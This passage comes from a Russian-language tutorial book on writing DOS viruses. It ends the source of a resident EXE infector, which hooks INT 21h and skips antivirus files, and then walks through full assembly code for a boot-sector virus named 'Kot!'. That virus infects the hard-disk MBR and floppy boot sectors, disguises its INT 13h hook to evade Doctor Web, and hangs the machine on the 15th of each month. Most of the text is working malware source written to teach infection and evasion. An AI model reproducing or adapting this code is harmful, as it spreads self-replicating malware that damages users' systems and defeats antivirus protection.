- xor di,di ;Перехват
- mov es,di ;Int 24h в
- mov di,90h ;резидентном
- mov word ptr es:[di],to_new_24h ;режиме
- mov es:[di+2],cs
- cmp ah,03bh ;Смена каталога?
- jne cs:new_cmp_1
- mov cs:tg_infect - 100h,1 ;Да - взводим
- ;триггер ...
- new_cmp_1: cmp ah,00eh ;Смена диска ?
- jne cs:to_jump
- mov cs:tg_infect - 100h,1 ;Да - взводим
- ;триггер
- to_jump: pop es
- pop di
- popf
- db 0eah ;Переход на ста-
- ;рый обработчик
- old_21h dw 0 ;INT 21h ...
- old_21h_2 dw 0
- ;-------------------------------------------------
- to_new_24h equ $ - vir
- new_24h: mov al,3 ;Вернем програм-
- ;ме управление и
- iret ;код ошибки ...
- ;-------------------------------------------------
- ;/***********************************************/
- ;Data area
- new_dta db 128 dup (0) ;Новая DTA ...
- maska db 61h,'.exe',0 ;Маска для
- ;поиска ...
- fn db 12 dup (' '),0 ;Место для имени
- ;файла
- end_file db 0ebh ;Первые два бай-
- ;та вируса
- db push_len ;в файле ...
- header db 27 dup ( 0 ) ;Массив для
- ;заголовка ...
- descrypt dw 0 ;Дескриптор ...
- to_02h dw 0 ;Ячейки для
- to_04h dw 0 ;хранения вычис-
- to_16h dw 0 ;ляемых элемен-
- my_ip dw 0 ;тов заголовка
- my_cs dw 0 ;
- my_16h dw 0 ;
- my_ss dw 0 ;
- my_sp dw 0 ;
- old_ss dw 0 ;
- old_sp dw 0 ;
- f_seek_low dw 0 ;Младшая и стар-
- ;шая части
- f_seek_high dw 0 ;указателя ...
- es_dta dw 0 ;Адрес старой
- bx_dta dw 0 ;DTA ...
- first_psp dw 0 ;Сегмент первого
- ;PSP ...
- es_save dw 0
- to_new_stack equ $ - vir ;Смещение к
- ;стеку ...
- new_stack dw 50 dup ( 0 ) ;Новый стек ...
- name_1 db 'ADIN' ;Файлы ,имена
- name_2 db 'DINF' ;которых начина-
- name_3 db 'DRWE' ;ются так,
- name_4 db 'AIDS' ;заражать
- name_5 db 'ANTI' ;нельзя !
- name_6 db 'WEB'
- inside db 0
- vizitka db 'Programmed in Zhitomir'
- db ' Politechnical Institute'
- db 'FICT is the best!'
- db ' (AU - ... ,virmaker)'
- mes_len equ $ - vizitka
- last db 0 ;Последний байт
- ;-------------------------------------------------
- setpointer proc ;Процедура уста-
- mov ax,4200h ;новки указателя
- mov bx,descrypt ;в файле ...
- int 21h
- ret
- setpointer endp
- read proc ;Процедура чте-
- mov ah,3fh ;ния из файла
- mov bx,descrypt
- int 21h
- ret
- read endp
- write proc ;Процедура запи-
- mov ah,40h ;си в файл ...
- mov bx,descrypt
- int 21h
- ret
- write endp
- mover proc ;Процедура умно-
- mov cx,04h ;жения на 16
- left: shl dx,1 ;двойного слова
- shl ax,1 ;DX : CX
- adc dx,00h
- loop cs:left
- ret
- mover endp
- rest_code proc ;Процедура вос-
- ;станавливает
- push bx ;в памяти текст
- push cx ;промежуточного
- push si ;обработчика
- ;INT 21h ...
- push di
- push es
- pushf
- cli
- mov es,cs:first_psp - 100h
- xor di,di
- mov si,offset cs:to_bios - 100h
- mov cx,code_len
- loader: mov bl,byte ptr cs:[si]
- mov byte ptr es:[di],bl
- inc si
- inc di
- loop cs:loader
- sti
- popf
- pop es
- pop di
- pop si
- pop cx
- pop bx
- ret
- rest_code endp
- search proc ;Процедура
- push ax ;сравнивает
- push cx ;строки ...
- mov inside,1
- lea di,fn
- new_cmp: mov al,byte ptr ds:[si]
- cmp byte ptr ds:[di],al
- jne cs:not_equal
- inc di
- inc si
- loop cs:new_cmp
- jmp cs:to_ret
- not_equal: mov inside,0
- to_ret: pop cx
- pop ax
- ret
- search endp
- ;-------------------------------------------------
- to_bios: push ax ;Текст промежу-
- push ds ;точного обра-
- pushf ;ботчика Int 21h
- xor ax,ax
- mov ds,ax
- cmp word ptr ds:[0006h],0070h ;Int 01h пере-
- ;хвачено ?
- jne cs:uuuuu
- ;JMP на систем-
- ;ный или вирус-
- ;ный обработчики
- ;INT 21h ...
- popf
- pop ds
- pop ax
- db 0eah ;На вирусный...
- our_21h_ip dw to_new_21h
- our_21h_cs dw 00h
- uuuuu: popf
- pop ds
- pop ax
- db 0eah ;На системный...
- sys_21h_ip dw 00h
- sys_21h_cs dw 00h
- code_len equ $ - to_bios ;Длина обработ-
- ;чика ...
- ;-------------------------------------------------
- db '7' ;Последний байт
- ;вируса ...
- vir_len equ $-vir ;Длина вируса
- ;в байтах
- vir_par equ ($-vir + 0fh)/16;И в параграфах
- prg ends
- end vir
- Как видите, в вирусе приняты определенные меры для
- того, чтобы он не смог заразить антивирусные про-
- граммы .Дело в том,что все ( или почти все ) анти-
- вирусы при запуске проверяют себя на зараженность,
- и при обнаружении изменений своего кода выдают со-
- ответствующее сообщение . Поэтому вирус проверяет,
- содержатся - ли в имени найденного файла такие
- фрагменты :
- name_1 db 'ADIN';Файлы, имена
- name_2 db 'DINF';которых начи-
- name_3 db 'DRWE';наются так, за-
- name_4 db 'AIDS';ражать нельзя !
- name_5 db 'ANTI'
- name_6 db 'WEB'
- Для проверки используется разработанная ранее про-
- цедура SEARCH . Если найденный файл действительно
- является антивирусной программой, наш вирус отка-
- зывается от попытки заразить его .
- *
- Как вы заметили,в вирусе отсутствуют обработчики
- Int 13h и Int 2Fh. Так сделано потому, что пред-
- лагаемая программа отлично работает без какой -
- бы то ни было " фильтрации " прерывания Int 13h.
- Проверка повторной загрузки возложена на обра-
- ботчик Int 28h, по этой причине прерывание Int
- 2Fh перехватывать не нужно.
- ЧАСТЬ 3 . ЗАГРУЗОЧНЫЕ ВИРУСЫ
- ГЛАВА 1 . РАЗРАБОТКА ЗАГРУЗОЧНОЙ
- ВИРУСНОЙ ПРОГРАММЫ
- 1.1 Краткие сведения о начальной загрузке
- персонального компьютера
- Для начала следует сказать несколько слов о том,
- как происходит начальная загрузка ЭВМ.
- После проверки аппаратной части компьютера и запо-
- лнения таблицы векторов прерываний BIOS пытается
- прочитать первый сектор нулевой дорожки нулевой
- стороны диска в дисководе " A ". Этот сектор поме-
- щается в память по адресу 0000:7C00h,после чего на
- указанный адрес передается управление. В прочитан-
- ном секторе содержится программа начальной загруз-
- ки (BOOT - запись) и некоторые другие сведения,не-
- обходимые для доступа к данным на диске. Программа
- начальной загрузки проверяет, является - ли диск
- системным. Если это так, то загрузка операционной
- системы с диска продолжается, а если нет,то на эк-
- ран выводится сообщение :
- Non system disk or disk error
- Replace and press any key when ready .
- после чего система ожидает действий оператора.
- Если же диск в " A " - дисководе отсутствует, то
- программа BIOS считывает первый сектор нулевой до-
- рожки нулевой стороны первого жесткого диска. Он
- также помещается в память по адресу 0000:7C00h,по-
- сле чего по указанному адресу передается управле-
- ние.В прочитанном секторе на жестком диске записа-
- на так называемая MBR (главная загрузочная за-
- пись). MBR является программой, которая определяет
- активный раздел жесткого диска, считывает загру-
- зочную запись (BOOT - запись) этого раздела в опе-
- ративную память и отдает ей управление. Дальше все
- происходит, как при загрузке системы с гибкого ди-
- ска. Как видим, процесс загрузки с винчестера яв-
- ляется как бы двухступенчатым.
- Если же программа MBR не нашла активный раздел, то
- выдается сообщение об отсутствии загрузочных уст-
- ройств, и система останавливается.В некоторых ста-
- рых машинах при невозможности запустить операцион-
- ную систему загружался интерпретатор языка БЕЙСИК,
- записанный в микросхемах ПЗУ. Однако новые модели
- компьютеров не содержат встроенного интерпретато-
- ра и не используют его.
- 1.2 Понятие о загрузочных вирусах
- Загрузочными называют вирусы, способные заражать
- загрузочные сектора гибких и жестких дисков и по-
- лучающие управление при попытке " запустить " опе-
- рационную систему с зараженного диска.
- Можно выделить следующие основные разновидности
- вирусных программ указанного типа :
- 1. Заражающие BOOT - сектора гибких дисков
- 2. Заражающие BOOT - запись активного раздела же-
- сткого диска и BOOT - сектора гибких дисков
- 3. Заражающие MBR ( Master Boot Record ) жесткого
- диска BOOT - сектора гибких дисков
- Отметим,что заражение BOOT - секторов дискет явля-
- ется обязательным, иначе вирус просто не сможет
- распространяться .
- Кроме того, почти все загрузочные вирусы являются
- резидентными,что объясняется спецификой их работы.
- Нерезидентный вирус смог бы размножаться только в
- том случае, если при загрузке с диска " A " из
- дисковода " B " забыли вытащить дискету, или при
- загрузке с зараженного винчестера диск находится в
- одном из дисководов.Очевидно,что при таком алгори-
- тме работы вирус размножался бы очень медленно,
- и его создание было бы просто бессмысленным.
- Большое распространение получили также файлово -
- загрузочные вирусы, которые могут заражать файлы
- типов EXE, COM а иногда и другие. Ярким представи-
- телем этой разновидности можно считать ONEHALF,ко-
- торый может заражать EXE и COM - файлы. Файлово -
- загрузочные вирусы являются более заразными, чем
- файловые. Создать такой вирус также сложнее, и по-
- этому их подробное рассмотрение выходит за рамки
- данной книги.
- 1.3 Алгоритм работы загрузочного
- вируса
- Несмотря на огромное разнообразие загрузочных ви-
- русных программ, алгоритмы их работы незначительно
- отличаются друг от друга. В этом пункте мы рассмо-
- трим одну из возможных реализаций такого алгорит-
- ма. Только сначала условимся, что наш вирус будет
- заражать загрузочные сектора гибких дисков и MBR
- ( Master Boot Record) первого жесткого диска. Поэ-
- тому можно предложить следующий " план работы " :
- Попав при начальной загрузке машины в память по
- адресу 0000:7C00h, вирус должен выполнить такие
- действия :
- 1. Установить регистры SS и SP на собственный стек
- 2. " Отрезать " у системы несколько килобайтов па-
- мяти ( сколько именно - зависит от длины вирус-
- ного кода )
- 3. Переписать свой код в полученную область (кста-
- ти, она будет находиться в старших адресах ос-
- новной памяти)
- 4. Передать управление следующей секции своего ко-
- да, уже расположенной в конце основной памяти
- Эта секция, в свою очередь, должна :
- 1. Переопределить вектор прерывания Int 13h на ви-
- русный код
- 2. Считать настоящий загрузочный сектор в память
- по адресу 0000:7C00h
- 3. Проверить, заражен - ли винчестер. Если нет, то
- заразить его MBR
- 4. Передать управление настоящему загрузочному се-
- ктору, находящемуся по адресу 0000:7C00h
- Далее загрузка ОС выполняется, как обычно.
- Когда система будет загружена,вирус должен занять-
- ся заражением BOOT - секторов дискет. С этой целью
- он выполняет такие действия :
- 1. При чтении секторов с номерами 2...N нулевой
- дорожки нулевой стороны диска " A " проверяет
- BOOT этого диска на зараженность
- 2. Если диск еще не инфицирован - заражает его
- 3. Передает управление системному обработчику Int
- 13h
- Под заражением понимают запись вирусного кода в
- BOOT - сектор дискеты или в MBR винчестера.
- Понятно, что при загрузке с винчестера проверять
- его на зараженность бессмысленно. И тем не менее,
- наш вирус делает это, так как отключить проверку
- жесткого диска не так просто, как это может пока-
- заться. Кроме того, она выполняется очень быстро и
- поэтому совершенно не ощущается пользователем.
- На первый взгляд, приведенный алгоритм кажется до-
- вольно сложным. Тем не менее, его достаточно про-
- сто реализовать, в чем вы скоро убедитесь.
- Хотелось бы сказать о том, какой должна быть мак-
- симальная длина вирусного кода.Если мы хотим поме-
- стить вирус в загрузочный сектор целиком, следует
- учесть два момента.
- 1. Собственно программа загрузки в MBR занимает
- не более, чем 446 байт ( см. ПРИЛОЖЕНИЕ 2 )
- 2. Программа загрузки в BOOT - секторе дискеты
- имеет разный размер в разных версиях DOS. В са-
- мом " предельном " случае она начинается со
- смещения 0055h относительно начала сектора. Два
- последних байта BOOT и MBR содержат код: 55AAh.
- Если его затереть,система перестанет загружать-
- ся с испорченного таким образом диска. Некото-
- рые вирусы используют этот прием для приведения
- дискеты или винчестера в " частично нерабочее "
- состояние.
- Отсюда следует очевидный вывод - размер кода виру-
- са не может превышать : 200h - 55h - 02h = 1A9h =
- = 425 байт! Если вы не выйдете за эту границу, об-
- ращение к диску будет происходить корректно. Кроме
- того,даже NORTON DISK DOCTOR не будет замечать из-
- менений программы загрузки в BOOT - секторе дис-
- кеты или MBR винчестера, что, согласитесь, очень
- важно.
- 1.4 Как начинается распространение вируса
- В отличие от файловых вирусов,для внедрения загру-
- зочного вируса в компьютер достаточно просто по-
- пробовать загрузиться с зараженной дискеты, при
- этом дискета не обязательно должна быть загрузоч-
- ной.В этом состоит особенность вирусов этого типа.
- Итак, чтобы вирус начал распространяться, достато-
- чно заразить им гибкий диск, а потом попытаться
- загрузиться с него на той или иной машине.
- 1.5 Начало работы
- Как и прежде,будем разрабатывать загрузочный вирус
- в виде COM - программы. Поэтому :
- prg segment
- assume cs:prg,ds:prg,es:prg,ss:prg
- org 100h
- 1.6 Вирус получает управление
- Как вы уже знаете,загрузочный вирус получает упра-
- вление только при загрузке операционной системы.
- Далее он должен " отрезать " у DOS несколько кило-
- байтов памяти и переписать свой код в полученную
- область. Для выполнения этих функций можно пред-
- ложить такой фрагмент :
- my_prg: xor ax,ax ;
- mov ss,ax ;
- mov sp,7bfeh ;Установка собс-
- ;твенного стека
- push ax ;Сохраним в сте-
- push bx ;ке используемые
- push cx ;регистры
- push dx ;
- push si ;
- push ds ;
- push es ;
- pushf ;
- ;
- push cs ;DS = CS
- pop ds ;
- ;
- sub word ptr ds:[0413h],2 ;"Отрежем" у DOS
- mov ax,ds:[0413h] ;два килобайта
- mov cl,6 ;памяти и вычис-
- ;лим
- sal ax,cl ;сегментный ад-
- ;рес,по которому
- ;находится полу-
- ;ченный блок
- mov es,ax ;Поместим адрес
- ;в ES
- xor si,si ;И скопируем код
- mov cx,prg_lenght ;вируса длиной
- prg_copy: db 8ah ;"prg_lenght" в
- db 9ch ;память по адре-
- additor db 00h ;су ES : 0000h
- db 7ch ;Сам код при за-
- mov byte ptr es:[si],bl;грузке помещае-
- inc si ;тся BIOS по ад-
- loop cs:prg_copy ;ресу 0000:7C00h
- ;
- push ax ;Запишем в стек
- mov ax,to_read_boot ;адрес ES:to_re-
- push ax ;ad_boot и осу-
- db 0cbh ;ществим переход
- ;на этот адрес
- Поскольку операционная система к моменту начала
- выполнения этого фрагмента еще не загружена, "уве-
- сти" у вычислительной системы два килобайта памяти
- не предсталяет никакого труда. Для этого просто
- следует уменьшить на два число,расположенное в об-
- ласти данных BIOS по адресу : 0000:0413h .Загрузи-
- вшись, операционная система просто не будет заме-
- чать занятую вирусом память. Даже такие программы,
- как RELEASE или Volkov Commander ( нажмите ALT +
- + F5 ) не помогут обнаружить, где именно " притаи-
- лся " вирус ( правда, это не так трудно рассчи-
- тать, но для рядового " юзера " такая задача непо-
- сильна ) .
- Машинный код
- db 8ah ;
- db 9ch ;
- additor db 00h ;
- db 7ch ;
- является кодом команды :
- " mov bl,byte ptr [si + 7C00h] " и модифицируется
- в зависимости от того, что именно удалось заразить
- вирусу - если загрузка происходит с винчестера,то
- код будет иметь вид :
- db 8ah ;
- db 9ch ;
- additor db 00h ;
- db 7ch ;
- а если с дискеты :
- db 8ah ;
- db 9ch ;
- additor db 55h ;
- db 7ch ;
- Дело в том, что в MBR жесткого диска тело вируса
- располагается по смещению 0000h от начала сектора,
- а в BOOT - записи дискеты это же смещение равно
- 0055h ( см. п. 1.11 ).При заражении того или иного
- диска вирус определяет необходимое значение поля
- " additor", которое потом будет записано в загру-
- зочный сектор. Команда " ret far " для краткости
- записана в виде машинного кода 0CBh.
- Идея установки собственного стека заимствована из
- настоящей MBR жесткого диска. Если оставить стек
- " как есть ", то в некоторых случаях система будет
- зависать при загрузке - проверено на практике !
- 1.7 Защита от антивирусных программ
- В настоящее время существует только одна распрост-
- раненная антивирусная программа, с которой следует
- считаться при разработке нового вируса . Это всем
- известный DOCTOR WEB. Благодаря довольно совершен-
- ному алгоритму эвристического анализа, DOCTOR WEB
- способен обнаружить новый вирус не только в фай-
- лах, но и в загрузочных секторах гибких и жестких
- дисков компьютера. В предыдущей главе мы рассмот-
- рели, как можно скрыть присутствие вирусных кодов
- в файлах и оперативной памяти ЭВМ. Теперь, вероят-
- но, следует рассказать, как решается задача маски-
- ровки загрузочного вируса.
- После нескольких дней экспериментов было установ-
- лено, что при поиске неизвестных загрузочных виру-
- сов DOCTOR WEB пытается определить факт перехвата
- прерывания INT 13h,при этом антивирус даже не про-
- бует пройти встроенным отладчиком подозрительную
- BOOT или MBR. Если, по мнению программы, INT 13h
- было перехвачено, выдается сообщение о возможном
- наличии в вашем компьютере неизвестного загрузоч-
- ного вируса. Отсюда следует очевидный вывод :
- - Команду, задающую адрес в таблице векторов пре-
- рываний или выполняющую модификацию вектора INT
- 13h, следует зашифровать, и вирус найден не бу-
- дет !
- Однако сделать корректный шифровщик, хорошо рабо-
- тающий на любом процессоре, не так просто. Поэтому
- задача была решена следующим образом :
- mov si,vvv - 100h ;
- mov word ptr es:[si],to_new_13h ;Установим
- mov word ptr es:[si + 2],cs ;вектор Int 13h
- ;на вирусный об-
- ;работчик
- ;
- Как это ни странно, DOCTOR WEB "не догадался", что
- команда
- mov si,vvv - 100h
- пересылает в SI число 04Ch, имеющее прямое отноше-
- ние к вектору прерывания Int 13h.
- Проверка приведенного метода на практике показала
- его пригодность.
- 1.8 Перехватываем Int 13h
- Согласно описанному выше алгоритму, настало время
- перехватить прерывание Int 13h.Наш вирус будет ис-
- пользовать его для отслеживания операций с диске-
- тами. Итак :
- to_read_boot equ $ - my_prg ;
- ;
- read_boot: push cs ;DS = CS
- pop ds ;
- ;
- xor si,si ;SI = 0
- mov es,si ;ES = SI
- ;Получим вектор
- ;Int 13h и сох-
- ;раним его :
- mov bx,word ptr es:[4ch] ;
- mov word ptr old_13h - 100h,bx ;
- mov bx,word ptr es:[4eh] ;
- mov word ptr old_13h_2 - 100h,bx ;
- ;
- mov si,vvv - 100h ;
- mov word ptr es:[si],to_new_13h ;И установим
- mov word ptr es:[si + 2],cs ;вектор Int 13h
- ;на вирусный об-
- ;работчик
- ;
- Прерывание здесь перехватывается путем непосредст-
- венной модификации вектора в таблице векторов пре-
- рываний. Константа " to_read_boot " задает смеще-
- ние от начала вирусного кода до метки "read_boot",
- с которой и начинается код,выполняющий переопреде-
- ление вектора Int 13h на вирусный обработчик.До-
- полнительных пояснений работа фрагмента не требу-
- ет.
- 1.9 Читаем исходную BOOT - запись
- Сначала договоримся, где наш вирус будет хранить
- настоящую загрузочную запись ( BOOT - для дискет
- или MBR - для жестких дисков ).
- Обычно на нулевой дорожке нулевой стороны винчес-
- тера используется только самый первый сектор,а ос-
- тальные свободны. Поэтому было бы естественно сох-
- ранить MBR в одном из секторов нулевой дорожки.Нас
- заинтересовал сектор с номером 12,но можно было бы
- взять и любой другой. Только не следует выбирать
- сектора с очень большими номерами. Может случиться
- так, что, например сектора с номером 100 на диске
- просто не существует ( особенно это относится к
- старым накопителям ). Оптимальный номер - не выше
- двадцати.
- Для дискет оригинальную BOOT - запись лучше всего
- записывать в последний сектор последней дорожки на
- первой стороне заражаемого диска .
- Для того, чтобы с зараженного диска можно было за-
- грузиться, вирус должен считать исходную загрузоч-
- ную запись в память по адресу : 0000:7C00h и после
- выполнения необходимых действий передать ей упра-
- вление :
- mov dx,num_head - 100h ;Считаем настоя-
- mov cx,cyl_sect - 100h ;щий загрузочный
- mov bx,7c00h ;сектор в память
- mov ax,0201h ;по адресу
- int 13h ;0000:7C00h
- В приведенном фрагменте задействованы ячейки памя-
- ти :
- num_head dw 0 ;Здесь вирус
- cyl_sect dw 0 ;хранит номер
- ;головки,дорожки
- ;и сектора зара-
- ;женного диска ,
- ;в которых запи-
- ;сана настоящая
- ;загрузочная
- ;запись .
- Несколько позже мы разберемся,как определяются по-
- мещаемые в них значения.
- 1.10 Заражаем MBR винчестера
- Следуя алгоритму, настало время проверить, зараже-
- на - ли MBR первого жесткого диска, и если нет -
- заразить ее. Поэтому приступим к делу :
- push cs ;ES = CS
- pop es ;
- ;
- mov dl,0080h ;Считаем MBR
- call cs:read_mbr ;винчестера
- jc cs:to_quit ;по адресу
- ;CS:0400h, при-
- ;чем загрузка
- ;сейчас может
- ;производиться
- ;и с дискеты !
- cmp byte ptr ds:[400h],33h ;MBR уже зара-
- je cs:to_quit ;жена ?
- ;
- mov dx,0080h ;Нулевая головка
- ;первого жестко-
- ;го диска
- mov cx,000ch ;Сектор 12,
- ;дорожка 0
- mov dl_save - 100h,dl ;
- ;Сохраним эти
- ;параметры .
- call cs:write_mbr_last ;Кроме того,
- ;перепишем нас-
- ;тоящую MBR в
- ;сектор 12
- jc cs:to_quit ;нулевой дорожки
- ;на нулевой сто-
- ;роне HDD .
- xor si,si ;Сформируем код
- mov additor - 100h,00h ;для записи его
- mov cx,prg_lenght ;
- copy_vir_mbr: ;на место исход-
- mov al,byte ptr ds:[si];ной MBR
- mov byte ptr ds:[si + 400h],al ;
- inc si ;
- loop cs:copy_vir_mbr ;
- ;
- mov dx,0080h ;Запишем этот
- call cs:write_mbr ;код в первый
- ;сектор нулевой
- ;дорожки нулевой
- ;стороны винчес-
- ;тера
- to_quit: mov ah,04h ;Наш
- int 1ah ;вирус при
- jc cs:bad_clock ;загрузке по
- cmp dl,15h ;15 - м числам
- vis: je cs:vis ;вешает систему
- bad_clock: popf ;Восстановим из
- pop es ;стека
- pop ds ;регистры
- pop si ;
- pop dx ;
- pop cx ;
- pop bx ;
- pop ax ;
- ;
- db 0eah ;И отдадим упра-
- dw 7c00h ;вление настоя-
- dw 0000h ;щей загрузочной
- ;записи ( MBR )
- Как вы видите, вирус достаточно свободно " чувст-
- вует " себя в памяти. В самом деле - свой код он
- записывает в младшие 512 байт первого " отрезанно-
- го " у DOS килобайта, а MBR винчестера считывает
- в младшие 512 байт второго килобайта. Так сделано
- для большей понятности программы и облегчения про-
- граммирования, но один килобайт памяти фактически
- тратится впустую ( что с некоторой натяжкой можно
- отнести к вредным действиям нашего вируса ).
- Процедура " read_mbr " читает сектор 1 дорожки 0
- на нулевой стороне указанного диска.
- Процедура " write_mbr " записывает данные из буфе-
- ра по адресу : CS:0400h в сектор 1 дорожки 0 на
- нулевой стороне указанного диска.
- Процедура " write_mbr_last " записывает данные из
- буфера по адресу : CS:0400h в заданный сектор то-
- го или иного диска и заполняет ячейки памяти :
- num_head
- и cyl_sect.
- Для проверки зараженности MBR вирус сравнивает ее
- первый байт с первым байтом своего кода - числом
- 33h.
- Далее, в поле " additor " заносится число 00h,
- необходимое для корректной загрузки с винчестера.
- Стоит отметить, что заражение MBR происходит ис-
- ключительно при загрузке с зараженной дискеты. Ко-
- гда операционная система будет загружена,вирус бу-
- дет инфицировать только гибкие диски при попытке
- прочитать их содержимое.А поскольку никому не при-
- дет в голову менять жесткие диски во включенной в
- сеть и работающей машине, нет смысла предусматри-
- вать заражение MBR в резидентном режиме. Если же
- попробовать проделать вышеописанную процедуру, то
- компьютер с высокой вероятностью выйдет из строя,и
- вирус " погибнет " вместе с ним.
- 1.11 Пишем обработчик прерывания Int 13h
- Наконец все подготовительные действия завершены, и
- мы можем заняться разработкой вирусного обработчи-
- ка прерывания Int 13h. Именно этот обработчик дол-
- жен отслеживать операции с гибкими дисками и при
- необходимости заражать их.
- Начнем с выяснения условий, при которых вирус дол-
- жен будет заразить BOOT - сектор дискеты.Пусть за-
- ражение будет выполняться в том случае,если проис-
- ходит чтение любого сектора нулевой дорожки нуле-
- вой стороны, кроме первого.Исходя из этого, можно
- записать :
- ;Далее следует
- ;вирусный обра-
- ;ботчик Int 13h
- to_new_13h equ $ - my_prg ;
- ;
- new_13h: pushf ;Сохраним флаги
- cmp dl,01h ;Операция с дис-
- ;ководом " A "
- ;или " B " ?
- ja cs:to_sys_13h ;Нет !
- cmp ah,02h ;Чтение ?
- jne cs:to_sys_13h ;Нет !
- cmp ch,00h ;Дорожка " 0 " ?
- jne cs:to_sys_13h ;Нет !
- cmp cl,01h ;Сектор-первый ?
- je cs:to_sys_13h ;Да !
- call cs:boot_infect ;Вызовем проце-
- ;дуру заражения
- ;BOOT - секторов
- ;дискет
- to_sys_13h: ;
- popf ;Восстановим
- ;флаги
- db 0eah ;Перейдем к сис-
- old_13h dw 0 ;темному обра-
- old_13h_2 dw 0 ;ботчику Int 13h
- Обратите внимание, что при чтении секторов 2...N
- нулевой дорожки нулевой стороны дискеты упра-
- вление передается процедуре " boot_infect ", кото-
- рая занимается заражением гибких дисков. Если бы
- заражение происходило при чтении любого сектора,то
- на зараженной машине все операции с дисководом вы-
- полнялись бы раздражающе медленно.
- Для передачи управления системному обработчику Int
- 13h используется обычная команда далекого перехо-
- да, записанная в виде машинной инструкции.
- Теперь разработаем процедуру " boot_infect ",зара-
- жающую дискеты. Естественно сделать ее по аналогии
- с фрагментом, который " работает " с винчестером .
- Поэтому :
- boot_infect proc ;
- push ax ;Сохраним реги-
- push bx ;стры в стеке
- push cx ;прерванного
- push dx ;процесса
- push di ;
- push ds ;
- push es ;
- pushf ;
- ;
- push cs ;ES = CS
- pop es ;
- ;
- push cs ;DS = CS
- pop ds ;
- ;
- mov cx,3 ;Попробуем про-
- next_read: push cx ;честь BOOT -
- ;сектор дискеты.
- call cs:read_mbr ;На это даем три
- pop cx ;попытки (напри-
- jnc cs:inf_check ;мер,если двига-
- ;тель дисковода
- ;не успел разо-
- ;гнаться до ра-
- ;бочей скорости,
- ;то BIOS вернет
- ;ошибку -дискета
- ;сменена ! )
- xor ah,ah ;При ошибке -
- pushf ;сбросим текущий
- call dword ptr old_13h - 100h ;дисковод
- jc cs:to_jump ;и повторим
- loop cs:next_read ;чтение
- to_jump: jmp cs:restore_regs ;
- ;BOOT - сектор
- ;заражен ?
- inf_check: cmp byte ptr ds:[455h],33h
- je cs:to_jump ;Да !
- cmp word ptr ds:[40bh],200h ;512 байт в
- ;секторе ?
- jne cs:to_jump ;Нет !
- ;
- mov dl_save - 100h,dl
- mov ch,79 ;Определим
- mov dh,byte ptr ds:[415h]
- cmp dh,0f0h ;параметры
- je cs:real_80 ;дискеты
- cmp dh,0f9h ;по ее
- je cs:real_80 ;Media
- cmp dh,0fdh ;Descryptor
- jne cs:to_jump ;
- mov ch,39 ;
- real_80: mov dh,01h ;
- mov cl,byte ptr ds:[418h]
- ;Перепишем нас-
- ;тоящий BOOT в
- ;последний сек-
- ;тор последней
- ;дорожки на пос-
- ;ледней стороне
- xor dl,dl ;
- call cs:write_mbr_last ;
- jc cs:to_jump ;
- ;
- mov additor - 100h,055h;Сформируем код,
- xor di,di ;который нужно
- mov cx,prg_lenght ;записать на
- copy_vir: mov al,byte ptr ds:[di];дискету вместо
- mov byte ptr ds:[di + 455h],al ;исходной BOOT -
- inc di ;записи
- loop cs:copy_vir ;
- mov word ptr ds:[400h],053ebh ;
- ;
- xor dh,dh ;И запишем его
- call cs:write_mbr ;в первый
- ;сектор нулевой
- ;дорожки нулевой
- ;стороны дискеты
- ;
- restore_regs: ;Восстановим из
- popf ;стека регистры
- pop es ;
- pop ds ;
- pop di ;
- pop dx ;
- pop cx ;
- pop bx ;
- pop ax ;
- ret ;Выйдем из про-
- ;цедуры
- boot_infect endp ;
- Как вы успели заметить,текст процедуры очень похож
- на текст фрагмента, который будет заражать жесткий
- диск. Небольшие отличия связаны со спецификой ра-
- боты дисковода и винчестера. Дело в том, что жест-
- кий диск вращается непрерывно (за исключением не-
- которых новых систем с режимом экономии электро-
- энергии), а двигатель дисковода запускается только
- при закрытии его флажка (если быть точным,это за-
- висит от конструкции дисковода.) Поэтому,если дви-
- гатель дисковода к моменту выполнения операции
- чтения не набрал необходимую скорость, BIOS вер-
- нет ошибку и сообщит, что дискета сменена.В этом
- случае рекомендуется повторить чтение, предварите-
- льно сбросив накопитель. Наш вирус повторяет попы-
- тку чтения три раза, после чего в случае неудачи
- отказывается от заражения такого диска.
- Несколько раньше мы выяснили, что для разных вер-
- сий MS DOS и WINDOWS программа начальной загрузки
- в BOOT - секторе дискеты располагается по разным
- смещениям. Сделано это по той причине, что старшие
- версии операционной системы хранят в загрузочном
- секторе более подробные сведения о диске. Наи-
- большим смещением,с которым вы когда - либо може-
- те встретиться, является 0055h. Поэтому наш вирус
- будет помещать в BOOT - сектор свой код,ориентиру-
- ясь именно на приведенное значение. Тогда в первые
- два байта сектора должна быть записана команда пе-
- рехода на начало этого кода, а именно : " EB 53 ".
- Формат BOOT - сектора приведен в ПРИЛОЖЕНИИ 2.
- И последнее - вирус определяет параметры заражае-
- мой дискеты исходя из ее Media Descryptor. Сам De-
- scryptor содержится в BOOT - секторе любой дискеты
- и вместе с некоторыми другими параметрами однозна-
- чно задает ее тип.Интерпретация различных дескрип-
- торов приведена в конце ПРИЛОЖЕНИЯ 2.
- 1.12 Используемые процедуры
- Фактически вирус уже изготовлен.Осталось лишь при-
- вести тексты процедур, которые он будет использо-
- вать в своей работе :
- read_mbr proc ;
- xor dh,dh ;
- mov ax,0201h ;Процедура
- mov bx,400h ;читает первый
- mov cx,01h ;сектор нулевой
- pushf ;дорожки нулевой
- call dword ptr old_13h - 100h ;стороны указан-
- ret ;ного накопителя
- read_mbr endp ;
- ;
- write_mbr proc ;
- mov ax,0301h ;Процедура
- mov cx,01h ;помещает вирус-
- pushf ;ный код в BOOT-
- call dword ptr old_13h - 100h ;сектор дискеты
- ret ;или записывает
- write_mbr endp ;его вместо MBR
- ;винчестера
- ;
- write_mbr_last proc ;Процедура
- ;переписывает
- ;исходную BOOT-
- ;запись или MBR
- mov num_head - 100h,dx ;в заданный
- mov cyl_sect - 100h,cx ;сектор
- mov dl,dl_save - 100h ;заражаемого
- ;диска
- mov ax,0301h ;
- pushf ;
- call dword ptr old_13h - 100h ;
- ret ;
- write_mbr_last endp ;
- Процедуры построены очень просто, и объяснять их
- работу, скорее всего, нет смысла. Отметим только,
- что все вызовы Int 13h оформлены в виде вызова да-
- льней процедуры. Это необходимо для предотвращения
- потенциальных " глюков ", связанных с нереентера-
- бельностью программ,выполняющих обработку Int 13h.
- Хотя такой метод несколько увеличивает размер ви-
- русного кода.
- 1.13 Область данных вируса
- В отличие от предыдущих программ, область данных
- написанного нами загрузочного вируса имеет на уди-
- вление простую структуру :
- ;
- db 'Kot!' ;Название вируса
- dl_save db 0 ;Ячейка для вре-
- ;менного хране-
